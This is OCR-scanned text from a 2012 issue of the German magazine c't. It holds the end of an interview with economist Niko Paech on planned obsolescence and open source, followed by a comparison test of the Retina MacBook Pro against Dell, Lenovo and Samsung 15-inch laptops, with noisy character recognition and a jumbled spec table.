Linux-Distributionen sind diesbeziiglich
auch nicht besser! So kommt es zu Interak-
tionen zwischen parallelen Innovationszy-
klen. Wenn ich sehe, dass es eine neue
Gangschaltung gibt, kann ich die vielleicht
nicht an mein altes Fahrrad montieren,
muss mir also gleich ein komplett neues
kaufen. Auch solche Effekte treiben die
Entwertung des bisher Ausreichenden
voran.

c't: Als ein Mittel gegen geplante Obsoleszenz
wird gelegentlich der Open-Source-Gedanke
genannt, zumindest da, wo Software eine
zentrale Rolle spielt. Was halten Sie davon?
Deuten sich hier neue Formen des Wirtschaf-
tens an, die stdrker von Kooperation als von
Konkurrenz geprdgt sind?

Paech: Aus 6konomischer Perspektive ist
Open Source ein sogenanntes Gemeingut,
eine digitale Allmende gewissermalen.
Man spricht auch von Digital Commons.
Hier finden sich gute Beispiele, wie sich jen-
seits von Expansions- oder Profitorientie-
rungen eine allgemeine Versorgung ge-

+Ein Prosument, der die Dinge in die Hand nimmt,
kdnntezu einer Identifikationsfigur werden.”

diese Option ist abgeschafft. Zudem ist IT-
Hardware zu einem symbolischen Objekt
der Selbstdarstellung geworden. Wenn

aber die Asthetik im Vordergrund steht, er-

folgt der kulturelle Verschleil besonders
schnell. Schlie8lich erfolgen die techni-
schen Innovationszyklen mit sehr hoher
Frequenz und entwerten damit vorhande-
ne Produktbestéande.

c't: Bei digitalen Technologien haben wir uns
ja ldngst daran gewdhnt, dass sie innerhalb

C't 2012, Heft 15

wahrleisten lasst. Es kann aber auch immer
das genaue Gegenteil dabei herauskom-
men. Wenn wir zum Beispiel darlber nach-
denken, bestimmte Produktionsanlagen als
Gemeingut zu organisieren, erhdhen wir
auch den Zugang dazu. Das kann schnell zu
noch mehr Produktion und noch mehr Ver-
schlei3 fihren. Wenn Open Source so ver-
standen wird, dass dezentrales Wissen in
die Weiterentwicklung von Produkten ein-
flieBt, kann das die Innovationszyklen wei-
ter beschleunigen und die alten Produkte

Report | Geplante Obsoleszenz

nicht bleiben. Wir haben mit dem Wirt-
schaftswissenschaftler Prof. Dr. Niko Paech
daruber gesprochen, wie geplante Obsoles-
zenz aus wirtschaftsethischer Sicht zu bewer-
ten ist und wie Konsumenten damit umge-
hen kénnen. (pmz)

rascher entwerten. Wir mussen also sehr
genau hinsehen, was wir als Gemeingut or-
ganisieren. Ein Gegenbeispiel ist die bereits
erwdhnte I-fix-it-Bewegung: Da werden die
Informationen, die notig sind, um Gegen-
stande langlebig zu machen, als Gemeingut
organisiert. Ich habe mir zum Beispiel eine
alte Effektleiste aus den 1980er Jahren ge-
kauft, um den Klang meines Saxofons zu
verfremden. Die Gebrauchsanleitung, mit
deren Hilfe ich einige Stérungen beseitigen
konnte, fand ich als PDF-Datei im Internet.
So einen multimedialen Austausch von In-
formationen kann ich mir gut als digitale
Allmende vorstellen. Daraus kdnnte eine
Kultur des Erhalts als Gegenbewegung zur
geplanten Obsoleszenz erwachsen. Aber
Open Source allein fir sich ist noch kein All-
heilmittel.

c't: Das klingt ein wenig nach globaler Nach-
barschaftshilfe, organisiert tibers Internet.

Paech: Ich prognostiziere eine Entwick-
lung, die getrieben wird von den Energie-
preisen und den nachsten Finanzkrisen.
Das wird tber Teilzusammenbriiche unse-
res 6konomischen Systems dazu fuhren,
dass die Kaufkraft der Menschen sinkt.
Damit steigt die Motivation, die Rolle des
Konsumenten zu verlassen und die eines
Prosumenten einzunehmen, in dem sich
die Eigenschaften eines Produzenten und
Konsumenten vereinen. Weil er gar nicht
das Geld hat, standig Gerate auszurangie-
ren und sich neue zu kaufen, bemuht sich
der Prosument, sein Thinkpad 10 oder 15
Jahre am Laufen zu halten. Daflir wird er
sich mit anderen zusammentun und Digi-
tal Commons nutzen, etwa um die notige
Software flir so ein altes Gerat zu beschaf-
fen. Ein Prosument, der die Dinge in die
Hand nimmt, kdnnte zu einer Identifikati-
onsfigur werden. Gegenseitige Hilfe wird
zur gelebten Antithese gegen das Produkt-
design der Vergénglichkeit. Jeder kann so-
fort damit anfangen. Wenn Sie mir helfen,
meinen Computer wieder zum Laufen zu
kriegen, kann ich lhnen vielleicht das Tret-
lager vom Fahrrad wechseln oder das Hin-
terrad richten. Wenn die Kaufkraft schwin-
det, werden wir in einer solidarischen Oko-
nomie gar nicht anders kdnnen, als uns ge-
genseitig zu helfen. Prosumenten sind
nicht nur 6konomisch souveran, sondern
tragen dazu bei, die Okonomie wieder so-
zial einzubetten.

(Dr. Hans-Arthur Marsiske/pmz)
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ow - das ist die Reaktion, wenn man

das erste Mal Fotos auf dem Bildschirm
des ,MacBook Pro mit Retina-Display”, so
Apples offizielle Namensgebung, sieht. Klar,
hochauflésende Bildschirme kennt man in-
zwischen von Smartphones oder Tablets,
doch auf der Bildflache eines 15-Zoll-Note-
books wirken die feinen Pixel noch mal an-
ders: Zusammen mit der spiegelnden Ober-
flache entsteht der Eindruck, eine bedruckte
Folie zu sehen.

Auch abseits seines Bildschirms setzt App-
les Neuling Maf3stabe: Das Gehduse hat die
Dicke eines Ultrabooks, beherbergt leis-
tungsstarke  Core-i7-Vierkernprozessoren
plus einen Mittelklasse-Grafikchip - und
schafft lange Laufzeiten. Ein Windows-Note-
book mit all diesen Eigenschaften gibt es
nicht, wohl aber einige, die in jeweils mehre-
ren Aspekten mithalten kénnen. Wir haben
drei solche 15-Zo6ller dem MacBook gegen-
Ubergestellt: Dells dhnlich flaches und leis-
tungsstarkes XPS 15, Lenovos dicker Alles-
kdnner ThinkPad T520 und Samsungs noch
flacheres und leichteres 900X4C.

Bildschirm

2880 x 1800 Pixel bei 15,4 Zoll Diagonale
entsprechen einer Punktauflésung von 221
dpi (dots per inch). So feine Pixel gab es bis-
lang nur einmal bei Notebooks: Sonys Vaio P
war ein 8-Zoll-Winzling mit schwachbristi-
ger Atom-CPU und einem ungewdhnlichen
Seitenverhdltnis von etwa.2:1 (1600 x 768
Punkte) [1]. Die hohe Bildschirmauflésung
stellt Betriebssystem und Anwendungen al-
lerdings vor Herausforderungen. Wie sich
Mac OS X, Windows 7 und gangige Anwen-
dungen bei extrem hochauflésenden Bild-
schirmen schlagen, beleuchtet der Artikel ab
Seite 84.

Generell sind bei Notebooks deutlich
grobere Auflésungen Standard. So gab es
zwar mal ein optionales 2048x1536-Panel
fur IBMs 4:3-Notebook ThinkPad R50p, doch
in den vergangenen Jahren hatte keines
mebhr als Full-HD-Auflésung. Bei 17-Zoll-Dia-
gonale entspricht das 127 dpi, bei 15-Z6l-
lern 141 dpi und bei 13-Z6llern 168 dpi [2].
In Kurze wird man diese Bildschirmauf-
I6sung auch bei 11,6-Z6llern vorfinden [3].
Acers Aspire S7 und Asus’ Zenbook UX21A
stoBen dann mit 190 dpi ansatzweise in Re-
gionen vor, die das Retina-MacBook vorgibt.
Wahrend die Windows-Mannschaft 16:9-
Bildschirme hat, setzt Apple beim MacBook
Pro weiterhin auf 16:10-Panels mit zehn
Prozent mehr Bildhéhe - das merkt man
beim Arbeiten enorm.

Lenovo und Samsung bieten matte Bild-
schirme an, Apple baut hingegen ein Spie-
geldisplay ein: Matt gibt es als kostenpflich-
tige Option nur beim weiterhin erhéltlichen
MacBook Pro ohne Retina-Bildschirm (siehe
Seite 88), auch Dell bietet keine Alternative.
Immerhin: Apples Panel spiegelt sichtbar we-
niger als andere Glare-Displays, ohne dass
die Reflexionen dabei einen Lila-Stich be-
kommen, wie es etwa bei einigen Premium-
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Bildschirmen in Sony-Notebooks der Fall ist.
Zusammen mit der ausreichend hohen ma-
ximalen Helligkeit von rund 240 cd/m? kann
man in Innenrdumen sogar in einem weilen
T-Shirt am Gerdt arbeiten - im Zug oder
drauBen im Café storen die Spiegelbilder
trotzdem.

Grundsatzlich konnte man den Bildschirm
mit einer Entspiegelungsfolie nachtrdglich
matt machen, doch selbst bei perfekt aufge-
brachter Folie ohne Staubeinschlisse und
Luftbldschen muss man mit einer reduzier-
ten Bildqualitdt leben: Durch Interferenzen
zwischen der Pixelstruktur des Panels und
der Mattierungsschicht sieht man in gleich-
maBigen Farbflachen (vor allem bei Weil)
ein feines Regenbogen-Grisseln, das sich bei
leichten Kopfbewegungen permanent an-
dert. Details wirken zudem nicht mehr so
knackig-scharf, Farben etwas blasser.

Letzteres ware besonders drgerlich, ge-
hort das Panel doch zu den besseren seiner
Art: Es Uberdeckt den sRGB-Farbraum und
schafft damit mehr als viele Desktop-Monito-
re, kommt aber nicht an Wide-Gamut-Farb-
gewalt heran, die das ThinkPad T520 zeigt.
So kréftige Farben findet man sonst nur bei
wenigen anderen Notebooks tiberhaupt: Bei
HPs Elitebook-Serien 8560w und 8760w hei-
Ben solche Bildschirme Dreamcolor, Dell
nennt die farbkraftigen Panels seiner Preci-
sion-Serien M4600 und M6600 B+RGLED.
Dells XPS 15 war bislang ein gtinstiger Ein-
stieg in die Welt der Farben und schaffte fast
AdobeRGB, doch die hier getestete aktuelle
Gerategeneration kommt kaum mehr Gber
sRGB hinaus. Ein anderes Panel wird es laut
Dell in diesem Gerat nicht mehr geben.

Hinsichtlich der Blickwinkelabhangigkeit
zeigt Apple der Konkurrenz, wo der Ham-
mer hangt: Selbst aus extrem flachen Blick-
winkeln bleiben die Farben stabil. Einzig die
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Helligkeit nimmt beim Blick von der Seite
etwas ab - das ist aber bei fast allen Note-
book-Bildschirmen so. Der Bildschirm von
Lenovos ThinkPad T520 ist dhnlich gut, die
Panels bei Dell und vor allem Samsung hin-
gegen deutlich schlechter. Das XPS 15 zeig-
te beim Blick von der Seite eine Rasterung
in eigentlich gleichméaBigen Farbflachen. Ei-
nige Zwischenfarbtone werden Uber zeitli-
ches Dithering darstellt, was manche Leute
als leichtes Flimmern wahrnehmen. Das
900X4C verfélscht Farben schon bei leich-
ten Abweichungen von einer senkrechten
Blickrichtung. Von oben oder unten mag
man bei beiden nicht gucken, weil die Far-
ben dann invertiert erscheinen.

Performance

Apple bietet das Retina-MacBook in zwei
High-End-Konfigurationen an: Den Core i7-
3610QM (2,3 GHz, mit Turbo bis 3,3 GHz) und
eine 256-GByte-SSD gibt es fiir 2280 Euro,
den Core i7-3720QM (2,6 GHz, mit Turbo bis
3,6 GHz) mit 512er-SSD fiir 2900 Euro. Nur
letztere Ausstattungsvariante ldsst sich wahl-
weise mit dem nochmals schnelleren Core
i7-3820QM (2,7 GHz, mit Turbo bis 3,7 GHz,
plus 250 Euro) und einer 768-GByte-SSD
(plus 500 Euro) aufriisten, der Mittelklasse-
Grafikchip GeForce GT 650M ist immer an
Bord. Der Arbeitsspeicher fasst 8 GByte, eine
Verdopplung kostet 200 Euro und ist bei bei-
den Grundmodellen moglich. Weil Prozessor,
Arbeitsspeicher und Grafikchip auf die
Hauptplatine gelotet sind, kann man das
MacBook nicht nachtraglich aufriisten. Das
ist bei vielen flachen Notebooks wie den
Ultrabooks genauso, bei Power-Notebooks
aber die Ausnahme.

Einzig die SSD realisiert Apple als Steck-
modul, welches nach Abnahme der mit

Optimale Raumausnutzung: Apple verschenkt im Retina-MacBook kein Volumen.
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Apples MacBook Pro mit Retina-Display tiberzeugt
mit seinem extrem hochauflésenden Bildschirm und

seinem sehr flachen Gehause.

Pentalobe-Schrauben gesicherten Bodenplat-
te getauscht werden koénnte, doch wegen
des proprietdren Formats gibt es derzeit
keine passenden Alternativen. Der Akku ist
nicht festgeschraubt, sondern eingeklebt;
ein Austausch beim Hersteller kostet 200
Euro. Da erscheint es sinnvoll, die 350 Euro
teure Garantieverlangerung (AppleCare Pro-
tection Plan) von ein auf drei Jahre abzu-
schlieen, denn ein Akkutausch bei Defekt ist
darin enthalten. Im Vollausbau samt Garan-
tieverldngerung kostet das Retina-MacBook
iber 4000 Euro — ganz schon happig.

Eine dhnliche Rechenleistung bekommt
man bei Windows-Notebooks bereits fir
deutlich weniger Geld. So kostet Dells XPS 15
mit etwas geringerer Performance als Apples
Basismodell nur 1650 Euro; selbst mit 128er-
SSD plus 1-TByte-Festplatte und Blu-ray-
Laufwerk liegt man noch mehrere Hunderter
darunter. Die Preise fur Lenovos ThinkPad
T520 beginnen bei 1050 Euro; das Testgerat
kostet 1800 Euro. Als Business-Laptop be-
kommt man das ThinkPad nicht nur mit op-
tional bis zu funf Jahren Garantie, sondern
kann auch aus viel passendem Zubehor wah-
len - etwa verschiedenen Docking-Stationen
oder mehreren Zusatzakkus.

Mobilitat

Liest man das Datenblatt des Retina-
MacBooks, so wird man bei den Schnittstel-
len stutzig: kein Netzwerkadapter und kein
optisches Laufwerk bei einem 15-Zéller? Ja,
darauf muss man verzichten, weil Apple das
Gerét deutlich weiter in Richtung Mobilitat
getrieben hat als alle bisherigen Power-Note-
books: Das Gehduse misst keine 2 Zentime-
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Dells XPS 15 bietet dhnlich viel Power zum kleineren Preis,
ist mit optischem Laufwerk im schlanken Gehéause aber eher

ein Konkurrent fiir das Retina-lose MacBook Pro.

ter inklusive Deckel und wiegt unter 2,1 Kilo-
gramm - eine beachtliche Ingenieurleistung.
Zum Vergleich: Lenovos ThinkPad T520 ist
schlicht doppelt so dick und wiegt
700 Gramm mebhr. Dells XPS 15 ist mit rund
2,5 Zentimetern Dicke bereits ein ausgespro-
chener Flachmann unter den potenten 15-
Zollern und wiegt trotzdem so viel wie das
Lenovo-Gerat.

Das einzige 15-Zoll-Notebook, das das Reti-
na-MacBook bei Gewicht und Dicke unterbie-
tet, ist Samsungs 1500 Euro teures 900X4C:
Es wiegt rund 1,7 Kilogramm und ist auch nur
1,7 Zentimeter flach. In Sachen Performance
hechelt es aber hinterher: Sein ULV-Doppel-
kern-Prozessor (1,7 GHz, mit Turbo bis 2,6 GHz)
liefert nur einen Bruchteil der Rechenleistung
der i7-Quad-Cores. Einen flotten 3D-Chip gibt
es nicht und mehr als eine — immerhin sehr
schnelle - 128-GByte-SSD auch nicht.

Apple verspricht sieben Stunden Laufzeit,
unser Testgerét hielt bei geringer Systemlast
und auf 100 cd/m? abgedunkeltem Display
sogar fast neun Stunden durch. Das gilt
allerdings nur unter Mac OS X: Unter Win-
dows 7 Ultimate 64 Bithaben wir bestenfalls
knapp funfeinhalb Stunden gemessen.
Daran sind unter anderem Beschrankungen
der Hardware schuld: Wéhrend sich unter
Mac OS X die im Intel-Prozessor integrierte
Grafikeinheit HD 4000 um die Bildschirmaus-
gabe kiimmert und sich der Nvidia-Grafik-
chip nur bei (3D-)Bedarf zuschaltet, ist letz-
terer unter Windows immer aktiv, wéhrend
die Intel-Grafik brachliegt. Zudem lassen
sich WLAN- und Bluetooth-Adapter unter
Windows nicht deaktivieren. Wenn Prozes-
sor und Grafikchip zu tun haben, geht der
Akku unter Mac OS wie Windows deutlich

friher zur Neige: Viel mehr als zwei Stunden
sind dann nicht drin.

Beivoll aufgedrehter Hintergrundbeleuch-
tung hélt das MacBook nur noch sechsein-
halb Stunden durch, Lenovos ThinkPad T520
schafft hingegen Uber acht Stunden - bei ver-
gleichbarer Akkukapazitat und dhnlicher Hel-
ligkeit. Dass das MacBook so viel schlechter
dasteht, liegt am Display: Weil die Pixel so ex-
trem klein sind, die jeweils zugehorigen, licht-
undurchldssigen Transistoren aber gleich
grof3 geblieben sind, muss Apples Hinter-
grundbeleuchtung viel stéarker leuchten als
bei einem normal auflésenden Bildschirm,
damit dieselbe Helligkeit beim Nutzer an-
kommt — und hohere Helligkeit heillt hoherer
Energieverbrauch. Einen &hnlichen Effekt
sieht man auch beim neuen iPad [4].

Dells XPS 15 und Samsungs 900X4C schaf-
fen dieselben Laufzeiten wie das MacBook
mit einem 65-Wh-Akku. Dass das Samsung-
Notebook trotz ULV-Prozessor nicht besser
dasteht, wundert nicht: Intel hat bei den leis-
tungsstarken Ivy-Bridge-Prozessoren wie im
Dell die Idle-Energieaufnahme auf das Ni-
veau der schwéacheren ULV-Varianten abge-
senkt. ULV bedeutet also hauptsachlich, dass
sich Gehause besonders flach bauen lassen,
weil die Lifter wenig Platz brauchen, und
dass die Laufzeit unter CPU-Last nicht so ein-
bricht.

Ergonomie

Auch lassen sich mit ULV-Prozessoren poten-
ziell leisere Systeme bauen, doch das ist nicht
automatisch der Fall: Wahrend Samsungs él-
tere Serie-9-Gerdte selbst unter Last leise
waren, dreht der Lufter des 900X4C schon bei
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Der Full-HD-Bildschirm von Lenovos ThinkPad T520 zeigt
mit Wide-Gamut-Farben noch mehr Brillanz als Apple, es ist
aber schlicht doppelt so dick und ein Drittel schwerer.

kurzer Prozessorlast horbar auf und nervt
zudem mit einem unangenehmen Rohren.
Mit einer Silent-Taste kann man zwar einen
gerduschlosen Betrieb erzwingen, doch dann
wird die Rechenleistung gedrosselt.

Lenovos ungleich leistungsstarkeres Think-
Pad T520 bleibt hingegen nicht nur bei gerin-
ger Rechenlast leise, sondern auch unter Voll-
dampf: 1,1 Sone sind ein hervorragender
Wert. Apple und Dell werden bei anhaltender
Rechen- und Grafiklast mit bis zu 3,1 bezie-
hungsweise 2,8 Sone aufdringlich laut, was
ihren flachen Gehdusen geschuldet ist: Dort
lasst sich die Abwarme halt nur durch kleinere
Kuhler abfiihren - mit viel Luftdurchsatz
gleich hohen Lifterdrehzahlen.

Dennoch gebuhrt den beiden Liftern im
MacBook Lob: Bei geringer Rechenlast blei-
ben sie unhdérbar leise, und selbst bei mittle-
rer CPU-Last, etwa beim Surfen auf Flash-las-
tigen Webseiten, fallen sie nie nervig auf, ob-
wohl sie dann horbar sduseln. Zudem hat
Apple die Tragheit der Luftersteuerung opti-
miert: Wo so manches Notebook schon bei
kurzen Lastspitzen aufheult, bleibt das
MacBook erst mal leise; erst bei anhaltender
Last steigt der Larm langsam. Nach Ende
einer Berechnung féllt die Drehzahl recht
zligig wieder ab - die rauschenden Gedenk-
minuten, die dltere MacBooks den Ohren zu-
muteten, sind weg.

Das Alu-Gehduse wird bei anhaltender
Rechenlast, etwa bei 3D-Spielen, unange-
nehm warm: Sowohl an der Unterseite als
auch am hinteren Ende der Tastatur haben
wir bis zu 47 Grad gemessen - da mochte
man das Notebook weder auf dem Schof
haben noch in Spielen per langer gedriickter
WASD-Tasten nach vorne stiirmen.

c't2012,Heft15

Grofe Touchpads - auch hier war Apple
Pionier - findet man mittlerweile in fast allen
Windows-Notebooks (ab 500 Euro). Die hier
getesteten Gerate von Dell und Samsung bie-
ten genauso viel Flache wie das von Apple
und verstehen ebenfalls Gesten mit bis zu vier
Fingern. Das Touchpad von Lenovo ist kleiner
und erkennt maximal drei gleichzeitig aufge-
legte Finger. Als zusatzliches Eingabemedium
steht hier ein Trackpoint zur Verfliigung: Damit
kann man den Mauszeiger schnell steuern,
ohne die zum Zehn-Finger-Schreiben aufge-
legten Hande weit bewegen zu mdussen.
Unter Windows funktionieren beim MacBook
Ubrigens maximal Zwei-Finger-Gesten; die an-
deren, besonders praktischen behélt Apple
dem Mac-OS-Treiber vor.

Beleuchtete Tastaturen haben alle vier
Testgerdte. Die Tastaturen von Apple, Dell
und Samsung werden von unten erleuchtet,
bei Lenovo sitzt eine weile LED neben der
Webcam und strahlt nach unten. Apple, Dell
und Samsung steuern Uber Helligkeitssenso-
ren auf Wunsch automatisch die Intensitat
der Bildschirm- und Tastaturbeleuchtungen,
bei Dell verharrte der Bildschirm aber auch in
Innenrdumen bei maximaler Helligkeit. Bei
Apple klappt die Automatik wiederum nicht
unter Windows.

Testdetails

Was uns sonst noch bei den Testgeraten auf-
gefallen ist:

Apple gibt dem MacBook Pro mit Retina-
Display zwei Thunderbolt-Ports, einen HDMI-
Ausgang und zwei USB-3.0-Buchsen mit auf
den Weg. Damit ist man deutlich flexibler als
bisher, wenn man externe Bildschirme und
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Noch flacher und leichter als Apple kanns bei
15-Z6llern nur Samsung - allerdings mit deutlich
weniger Performance und einem nervigen Liifter.

schnelle Festplattengehduse anschlieRen
mochte. Gigabit-Netzwerk- und FireWire-800-
Schnittstellen lassen sich tiber Thunderbolt-
Adapter (je 30 Euro) nachrusten. Der WLAN-
Chip erzielte hohe Transferraten, fand aber
nach dem Aufwecken des Notebooks aus
dem Standby manchmal keine Funknetze
mehr. Auch die Tastaturbeleuchtung funktio-
nierte dann mitunter nicht mehr. Beide Fehler
traten sowohl unter Mac OS als auch Win-
dows auf. Apple liefert den Windows-Treiber
296.49 fur den GeForce-Grafikchip aus, Nvi-
dias neuerer Beta-Referenztreiber 304.48 fiir
Notebooks liel3 sich nicht installieren.

Dell baut im XPS 15 eine Festplatte und
eine Puffer-SSD ein und kombiniert dadurch
schnelle Zugriffszeiten mit hoher Kapazitat,
wodurch sich das Notebook tatséchlich sehr
flott anflhlt (Intel Smart Response Techno-
logy). Beim WLAN hat Dell hingegen gepatzt,
denn unser Testgerat erreichte auf unserer 20-
Meter-Teststrecke nur arg niedrige Transferra-
ten von unter 2 MByte/s netto. Das XPS 15
wird in sechs vorgegebenen Konfigurationen
mit dem Doppelkern Core i5-3210M (4 GByte
Arbeitsspeicher) oder dem Quad-Core
i7-3612QM (8 oder 16 GByte Arbeitsspeicher)
verkauft. Nur in der glinstigsten Variante
steckt der GeForce GT 630M, in allen anderen
wie im Testgerat der schnellere GT 640M. Bei
unserem Exemplar zickten die USB-3.0-Ports
und lieferten nur arg magere Transferraten
von rund 40 MByte; Dell stellte auf Nachfrage
ein BIOS- oder Treiber-Update in Aussicht.

Lenovo gibt seinem ThinkPad T520 aul3er
einem Docking-Anschluss auch einen Ex-
pressCard/54-Schacht und eSATA mit auf den
Weg - alle drei fehlen den anderen Kandida-
ten. USB 3.0 ist hingegen nicht an Bord, son-
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getestete Konfiguration
Lieferumfang

MC976D/A
Mac 05 X 10.7.4 64 Bit, iLife, Netzteil

Schnittstellen (V = vorne, H = hinten, L = links, R = rechts)

VGA /DVI/ HDMI / DisplayPort / Kamera
USB2.0/USB 3.0/ eSATA / eSATA+USB
LAN / Modem / FireWire

Kartenleser / Strom / Docking-Anschluss
Ausstattung

Display

Prozessor

Prozessor-Cache

Prozessor-Taktrate

Hauptspeicher

Chipsatz / mit Hybridgrafik / Frontside-Bus
Grafikchip (Speicher)

Sound

LAN

WLAN /Dual-Band
Bluetooth / Stack
USB 3.0
Festspeicher

optisches Laufwerk
Stromversorgung, MaBe, Gewicht
Akku / wechselbar / Ladestandsanzeige
Netzteil

=/ =/R/2XL(Thunderbolt) / v/
=/I1xL1xR/=/=
_/_/_

R(SD)/L/ =

15,4 Zoll / 39 cm, 2880 x 1800, 16:10,
221 dpi, 4... 239 cd/m?, spiegelnd

Intel Corei7-3720QM (4 Kerne mit HT)
4% 256 KByte L2-, 6 MByte L3-Cache
2,6 GHz (3,6 GHz bei einem Thread)

8 GByte P(3-12800L

Intel HM77 /v (nur Mac) / DMI

PEG: Nvidia GeForce GT 650M
(1024 MByte GDDRS)

HDA: Cirrus Logic (542068

PCle: Broadcom 4331 (a/b/g/n 450) / v/
USB: Broadcom / Apple

Intel USB 3.0

Apple SSD SM512E (512 GByte)

95 Wh Lithium-Polymer / = / =

85W,323¢g,8mx8mx28cm,
Steckernetzteil

P32F

Windows 7 Home Premium 64 Bit,
Cyberlink Power DVD 9.6, Microsoft Office
Starter 2010, Netzteil

=/ = /L/L(Mini-DisplayPort) / v/
-13%xL/-/~-

L/=/=-

R(SD)/L/ =

15,6 Zoll /39,5 cm, 1920 X 1080, 16:9,
142 dpi, 15 ... 305 cd/m?, spiegelnd

Intel Core i7-3612QM (4 Kerne mit HT)
4 256 KByte L2-, 6 MByteL3-Cache
2,1GHz (3,1 GHz bei einem Thread)
8GByte P(3-12800

Intel HM77/+/ / DMI

PEG: Nvidia GeForce GT 640M
(2048 MByte GDDRS)

HDA: Realtek ALC275

PCle: Realtek RTL8168 (GBit)

PCle: Intel 6235 (a/b/g/n 300) / v/
USB: Intel / Microsoft

Intel USB 3.0

WD Scorpio Blue (1000 GByte/5400 min™"/
8MByte) + Puffer-SSD (32 GByte)

Matsushita UJ167 (Blu-ray-ROM)

65 Wh Lithium-Polymer /v / =

90W,4349,12,7mx5,2cm X 3,2 cm,
Kleeblattstecker

Gewicht 2,03kg 2,67kg

GroBe / Dicke mit FilBen 359cmx24,7cm/1,8cm 370mx249an/23...24m
Tastaturhdhe / Tastenraster 1,3cm/19mm X 18,5 mm 1,8m/19mm X 19 mm
Leistungsaufnahme

Suspend / ausgeschaltet 077W/03W 08W/03W

ohne Last (Display aus / 100 cd/m? / max) 58W/105W/183W 84W/132W/163W
(PU-Last / 3D-Spiele (max. Helligkeit) 81,5W/90.2W 67,2W/72W

max. Leistungsaufnahme / Netzteil-Powerfactor ~ 91W /0,92 76,7W /0,93
Messergebnisse

Laufzeit ohne Last (100 cd/m? / max) 88h(9,6W)/66h(128W) 6h(11,5W)/53h(12,9W)
Laufzeit Last (100 cd/m?) 23h(37,3W) 1,4h (491 W)

Ladezeit / Laufzeit nach 1h Laden 21h/42h 2,7h/2,2h

Gerausch ohne / mit Rechenlast 0,1 Sone /3,1 Sone 0,1 Sone /2,8 Sone
Festspeicher lesen / schreiben 230,7/211,2 MByte/s* 131,6/99,8 MByte/s
Leserate Speicherkarte (SD /xD / MS) 40,6/ -/ = MByte/s* 652/ - / = MByte/s
WLAN 802.11n 5 GHz / 2,4 GHz (20m) 5,8/7,4 MByte/s* 0,9/1,9 MByte/s

Qualitat Audioausgang / Dynamikumfang @®/-102dB(A) @®/-99,6 dB(A)
CineBench R11.5 Rendering 32 / 64 Bit (n CPU) ~ 5,1/5,78 532/5,64

3DMark 2003 / 2005 / 2006 / 11 38885/24346/ 15080 / P2348* 29558/ 14702 /9923 /P1931
Windows-Bench CPU/RAM /GPU/3D/HDD  7,6/7,8/7,2/72/79* 151771717159
Bewertung

Laufzeit

Rechenleistung Biiro / 3D-Spiele

Display Helligkeit / Farben

Gerduschentwicklung ohne / mit Last

Preisund Garantie

Preis Testkonfiguration 2900 € 1650 €

Garantie 1 Jahr 1Jahr

@® sehrqut @ qut O zufriedenstellend © schlecht ©0O sehr schlecht v vorhanden

4243-566

Windows 7 Professional 64 Bit,
Corel Win DVD, Corel Burn Now,
Microsoft Office Starter 2010, Netzteil

L/=1=/tlv
2XLIxXH/=/=]/L
R/ = /L (4-polig)
R(SD)/H/U

15,6 Zoll / 39,5 cm, 1920 % 1080, 16:9,
142 dpi, 3 ... 217 cd/m?, matt

Intel Core i7-2670QM (4 Kerne mit HT)
4 256 KByte L2-, 6 MByte L3-Cache
2,2 GHz (3,1 GHz bei einem Thread)

4 GByte P(3-10600

Intel QM67 /v / DMI

PEG: Nvidia Quadro NVS 4200M
(1024 MByte DDR3)

HDA: Conexant SmartAudio HD
PCle: Intel 82579LM (GBit)

PCle: Intel 6300 (a/b/g/n 450) / v/
USB: Broadcom / Microsoft

Intel SSD 320 (160 GByte)

Sony/NECAD-7740H (DVD-Multi/DL)

93 Wh Lithium-lonen /v / =

135W,720 g, 14,4m X 6,6 cm x 3,7 cm,
Kleeblattstecker

2,7kg
373anx264m/3,4...39m
2,6m/19mmXx19mm

0,9W/0,4W
5SW/13,7W/17,71W
T1I3W/72,6W

86,7 W /0,88

10,4h(10,2W)/83h (12,7 W)
2,4h(443W)

2,6h/4h

0,1Sone/ 1,1 Sone
179,3/150,2 MByte/s
37,3/ =/ = MByte/s
541/6,5 MByte/s
@®/-93,3dB(A)

486/51

12747 /9815/5140 / P609
15/59/48/65/1,7

1800 €

A01DE

Windows 7 Professional 64 Bit,
Microsoft Office Starter 2010, Netzteil,
LAN-Adapter

R (Adapter) / = /L (yHDMI) / = /v
1XL/2xR/ = /=

L (Adapter)/ = / =

R(SD)/L/ =

15Zoll /38,2 cm, 1600 x 900, 16:9,
122 dpi, 16 ... 326 cd/m?, matt

Intel Core i5-3317U (2 Kerne mit HT)
2 256 KByte L2-, 3 MByte L3-Cache
1,7 GHz (2,6 GHz bei einem Thread)
8 GByte P(3-12800

Intel HM75/ = / DMI

int.: Intel HD 4000

(vom Hauptspeicher)

HDA: Realtek ALC269

PCle: Realtek RTL8168 (GBit)

PCle: Intel 6235 (a/b/g/n300) /v/
USB: Intel / Microsoft

PCle: Renesas USB 3.0

SanDisk SSD U100 (128 GByte)

65 Wh Lithium-Polymer / = / =

40W, 302 g, 9,4cm X 6,6 cm X 2,2cm,
Kleeblattstecker

1,68 kg
357anx237cm/1,6...17cm
1,2cm/19mmX 18,5 mm

08W/05W
44W/82W/M6W
178W/38,6W
442W /0,53

9h(73W)/57h(11,5W)
3,7h (17,5W)

2,7h/3,4h

0,1 Sone /1,4 Sone
306,3/242,7 MByte/s
18,2/ = | = MByte/s
1,8/3 MByte/s
@®/-97,7dB(A)

2,23/24

13020/8527 / 5336/ P228
69/74/64/64/75

1500 €

dern erst beim Nachfolger T530. Erste T530-
Konfigurationen kommen dieser Tage in den
Handel, Modelle mit hochauflésendem und
farbstarkem Panel sind noch nicht darunter.
Mit Unterschnall-Zusatzakku ldsst sich die so
schon lange Laufzeit abermals verdoppeln -
dann wird das Notebook aber nochmals klo-
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biger und schwerer. Zu teureren Ausstat-
tungsvarianten wie dem Testgerdt gehoren
drei Jahre Vor-Ort-Service.

Bei Samsungs 900X4C fordert das flache
Gehéuse Tribut: Der HDMI-Ausgang hat das
von Smartphones bekannte Micro-Format,
die winzige LAN-Buchse kann man nur mit

dem mitgelieferten Adapter auf RJ-45 nutzen.
VGA gibt es ebenfalls als proprietdre Mini-
Buchse, doch ein passendes Adapterkabel
legt Samsung unverstandlicherweise nicht
bei. Ein DisplayPort, den alle anderen Kandi-
daten bieten, fehlt hier - externe Monitore
mit mehr als 1920 x 1200 Punkten lassen sich
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Gehdusedicken im Vergleich: Apple MacBook Pro mit Retina-Display, Samsung 900X4C,
Dell XPS 15 und Lenovo ThinkPad T520 (von oben nach unten)

also nicht ansteuern. Anders als bei den ers-
ten Serie-9-Geraten nimmt der SDXC-Karten-
leser nun normal groBe Speicherkarten auf.
Samsung verkauft das 900X4C einzig in der
